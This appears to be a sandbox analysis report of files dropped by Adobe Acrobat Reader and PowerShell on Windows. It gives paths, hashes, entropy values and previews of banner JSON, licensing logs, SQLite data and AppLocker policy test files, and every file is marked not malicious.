SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfzdPeUkwRe9:YvXKX2Cvc7Gb8Ukee9
MD5:	2BC30FB6FC1C1A91B41932B0E44DE60F
SHA1:	06CCCB1AB75E6C4597DB346E3B85C284B33E9C0F
SHA-256:	3DBE08F42B581A6F68B9EA2F881C297C03DAD48ED46E0F6D3B57DB3ABE668942
SHA-512:	B7931DD32D4B55BFA7E10A8C663F834084F32588C08B0F588F087D22F91001ED99679D319A5FCF9BA93AAAE7E4F1741CF09E6BE580650207AE846A6BAAD2E310
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303996101106601
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfYdPeUkwRe9:YvXKX2Cvc7Gg8Ukee9
MD5:	2AFAD354FCD37EF0AAF78965B6E486B0
SHA1:	B57B23E6E677004EF572042A056B4B219D3FA32F
SHA-256:	F8DA70DAC7319CF3647AADCE41A694708802CEC5BF20E50DA401219C4AF041B3
SHA-512:	507FA9BA1C9911882B04A2729D1C58193276D158C9E0FFA256830EE068F4478F2F5502D5F17DDC32D81E13A4F8B6DBAA8619180B4A7A7559567D470F2D362C93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2909656688118565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJf+dPeUkwRe9:YvXKX2Cvc7G28Ukee9
MD5:	F91125F3E5BA852FA3D93A8CA19AF81A
SHA1:	95630B2BDEEB3FB2FB2E8DFD450622634CFF251A
SHA-256:	5FADB44352C1C1DBA0D49D9F17F2AEC1DC588507BD2C0AF5E8ABD2AF4579A420
SHA-512:	6E06A125F96BD63A12C3AB726F5FB2E357FAA9869AE25F846042385F5BA8261D43C154FC79C970B8DDA2A7DD7847574564EBB118670665DCDC1D2A2D07D64043
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287515734168048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfbPtdPeUkwRe9:YvXKX2Cvc7GDV8Ukee9
MD5:	BA172AE34588FB187536B8DDAF89C115
SHA1:	1C76AE77CE2CBB986137A5CB58D9F40E17010F03
SHA-256:	EE82B9219B72F11FFA6BFC3A7E5E513DA3F1D3FDF5855B90263F24198BFF4462
SHA-512:	BBDD47A965C8D79AA30A16DC93FBE645D8ABED21D2A9C279C20928D707DD7140BBB4DE92C3B3E2C6213BE7A4D48985FC4BE7B3DB470EA4CAF59926AD656911B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290302616398148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJf21rPeUkwRe9:YvXKX2Cvc7G+16Ukee9
MD5:	D381576221F52379D328560A0D4A0D98
SHA1:	65189A174B029DBA5D501A2683DF2A390030493F
SHA-256:	F54406488347F94312566A64631EE235C169E2BA81D2C09E258057037550BAA9
SHA-512:	0CEA1645417821576F650D9C6E925B79D3E988C2DD76F7A947B75BA987764B4EB1E3DB8D05C2F4F0DE042EE557678FACAD502C5E238E04A1EC5858862495E748
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667622482889133
Encrypted:	false
SSDEEP:	24:Yv6X2CUUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:YvVCBBgkDMUJUAh8cvM4
MD5:	6CE0629D6FB02341C16C18679A547BA4
SHA1:	179F1EB0C29419D9E9ECF32CD740E16C71C56C72
SHA-256:	B9171D36DF17B5FEACB4BCB7ED7E78A4E2096102ECC5EFD637CE89C04BD4539C
SHA-512:	156222F9E3E63F5586E97D2BA42E680B934EF99B7949E57B4FD4C2315017F0E2DC0A9AE8597C890BC32B035FFD80EE3AD9649BEB364CC429368AB33AA6C215EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269439632978986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfshHHrPeUkwRe9:YvXKX2Cvc7GUUUkee9
MD5:	7E5C4CD81C9BD4A6643B67D732FEAD95
SHA1:	DE9E28A8D2CFCDD7ECAB4DBB740B334E13D153FC
SHA-256:	3853480AC0552874F8386604DD7D79C2D24822E9B91A7EFA6405830C5252FAAC
SHA-512:	8E085C9C5E725E9636817FAE07EDC18718AA06A925293189A580A69BB7E6F016C12B598F8AA4557CADC2F8B8A6E6512B07732B926310F29ED968E497FA5810A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277200991707868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJTqgFCrPeUkwRe9:YvXKX2Cvc7GTq16Ukee9
MD5:	2E846F069D1C8B545016A16384D53A10
SHA1:	C02244450DBA35EF3407D792CB63DA841AC76620
SHA-256:	B1CEBE8F8930A07AE241735A0DD97DF122D07E235F4E87139B04323B04AD11FB
SHA-512:	D2F3B54E6BC6BC4F035FAF056E292A3ADCC4172B4E33916D3166C7AB36FF408D58EEBDF3D0BA7295CF712D9079CFDE03B3A01D863843863F5B77DFA709514933
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134480368908513
Encrypted:	false
SSDEEP:	48:Y2fivcIqXmxeKK51DxSETaEOZ97BlICMA9QWu:pfi2mxeKK51DcETyHBlICNQWu
MD5:	358A23B5271396D3A5743E5174C22E3F
SHA1:	0A070D29F62D9ECB73EC4FF320CB382DDFDBCC24
SHA-256:	D07468EB029660970BB5BBADE999E6B4CF716D8B8C521B222F259562BC79FED6
SHA-512:	0C8E07AF4C8816CA175876637FDCE63992073DBC8EA72B992E6C5B430CA9CFD14E7CDCDD7DB34E6533946C441CF53C53689FBBE37B550DA516CE866281A53AEE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"83eb13c388d8667eb06e8e983fe16402","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544807000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e9a76c2c7c983aad03b8d54565b37921","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544807000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0d7610b631d30322985fbc7ba39ca6db","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544807000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a18d73d4007b833f5a9bab8c81b12d91","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544807000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"373ad61f0069b050ef9250a6e8f2b118","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544807000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a0c9c005e0a8558f555de0f0d5b0fd50","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464834353326019
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursz93VU3LLRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOu9:TFl2GL7mspm7Xc+XcGNFlRYIX2v3kAmd
MD5:	2A3F4F9752EADAE131E3EDC560558725
SHA1:	CA2293FC93FB2360456DB5DF29745541C27E61BF
SHA-256:	91EC355133426E34EC2BD8D0D9F0FECC480D2B487EBF758E16113D83AA8B9B95
SHA-512:	C9A9027A8165F9504B9FA5A2B83C6343A7251D527AFC11DB15FE9F8F0065D75EBC8A29E7AB355DE59314CD727C110BF12B743E3AEA47699AEAE99B5689EAFDC0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5493746089387512
Encrypted:	false
SSDEEP:	24:7+t+93VU3LLUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxHqLz:7MymMXc+XcGNFlRYIX2veqVl2GL7msB
MD5:	9C353D34F745EF55B2AED076E16C6C15
SHA1:	6D3CACD7CC7C760A2970FAFB5F9E12119E0AD46C
SHA-256:	A8A2F3B4517699CC2ED163BBEDEA6466112704C9A619AB251685700AECA1380B
SHA-512:	D556320A690340A69BBE66B0EF5D6B8AE52CCEAF29DEE78AFF28FBAE800680A35BC69E9F84EC494D6066734B075FC63D82284A0C3B36B4F05C38E9AA018D9FCB
Malicious:	false
Preview:	.... .c.....#.r...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgybspWRtMu6YwuXoHlf+expZbYyu:6a6TZ44ADEybIWRkYwuipVK
MD5:	905F617D1BEE608CE1AC1726A84766BE
SHA1:	AA7FD9C510B8AAB6969B895F80F718BDCE33C8C3
SHA-256:	BA154C08F39A84DB063764527FB5A70382108847C18BD1A9DEA90FC58F337111
SHA-512:	A8F460FCF93A6D207159BA92FCCE7F43DD0677BC8B1AD83DBA7B3F2585AEB4529D791DEAB6CCD61A94E6629BFA6B78F44993D9F9D095431D739249F0830886D0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIdd84c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErN29:Qw946cPbiOxDlbYnuRK+bDrN4
MD5:	92061BFE94013633F5D971797485FFDD
SHA1:	304BA546B452ED6BAF2B946DEBAB0EDEC43F379D
SHA-256:	BB427C5D7F13203AF873BF8DE32E954FAE1D4346FE3712F14604DF94AC03AA5C
SHA-512:	33D14FB934C9F8AC01B5356EA1F6A0279664B74F1D570035B4C7C1F8B65FC81CE7E3E8E79F3573E2D7AEC3E47ED33B1C033AD0C2712E1759BA5163EA3F5BD07B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.3.3.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3j3tu2yy.2m2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f003z2km.eqm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91o2ixy5_lbimk4_38w.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-33-22-018.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15088
Entropy (8bit):	5.349486672398174
Encrypted:	false
SSDEEP:	384:wx7mFmsmdmXmSmbfm6mtmDmKm4mfMMMwM6Mu9F9x9Q9/9f9SJKSQSQyRy9ybyHTX:A6E
MD5:	26D542CA66E29E65ED32E269308F9FCD
SHA1:	984BED14481FA73433FF49464A7C2F39F5A6F137
SHA-256:	7437CE40BDF3514973DAF03B214ED25534423AA914FB5BA18C3261F8F3C19F05
SHA-512:	4EB1290B61EB129D10185EA2E50F2CC43F56117267233C6EBDBA0AD5252AB6205699F383220164AEDBE6EAD9BACF3750E5954FDAD6696842DA8811629BE60D8B
Malicious:	false
Preview:	SessionID=7edb4f7a-7579-463c-ace3-10ace958017f.1736544802051 Timestamp=2025-01-10T16:33:22:051-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7edb4f7a-7579-463c-ace3-10ace958017f.1736544802051 Timestamp=2025-01-10T16:33:22:052-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7edb4f7a-7579-463c-ace3-10ace958017f.1736544802051 Timestamp=2025-01-10T16:33:22:052-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7edb4f7a-7579-463c-ace3-10ace958017f.1736544802051 Timestamp=2025-01-10T16:33:22:052-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7edb4f7a-7579-463c-ace3-10ace958017f.1736544802051 Timestamp=2025-01-10T16:33:22:052-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393414660265509
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbxCcbYIyacbN:V3fOCIdJDentyN
MD5:	55706A814CBA11A04D382F0B44504D72
SHA1:	189C4F648711E87864417DBFC712D1C0C008224D
SHA-256:	A9E25A2887BDFC8EB738E1B0ACCF78589789455FE751F34AA9474994651CCFAF
SHA-512:	10DF2D2B550F51CA928F7C6ED263877822C80D5EC77D223FFD349E2F9EF6676D9467E7EF04FFDD79580962C0BCD15C914D5768FE53B7236793DC24B76BE467A6
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : 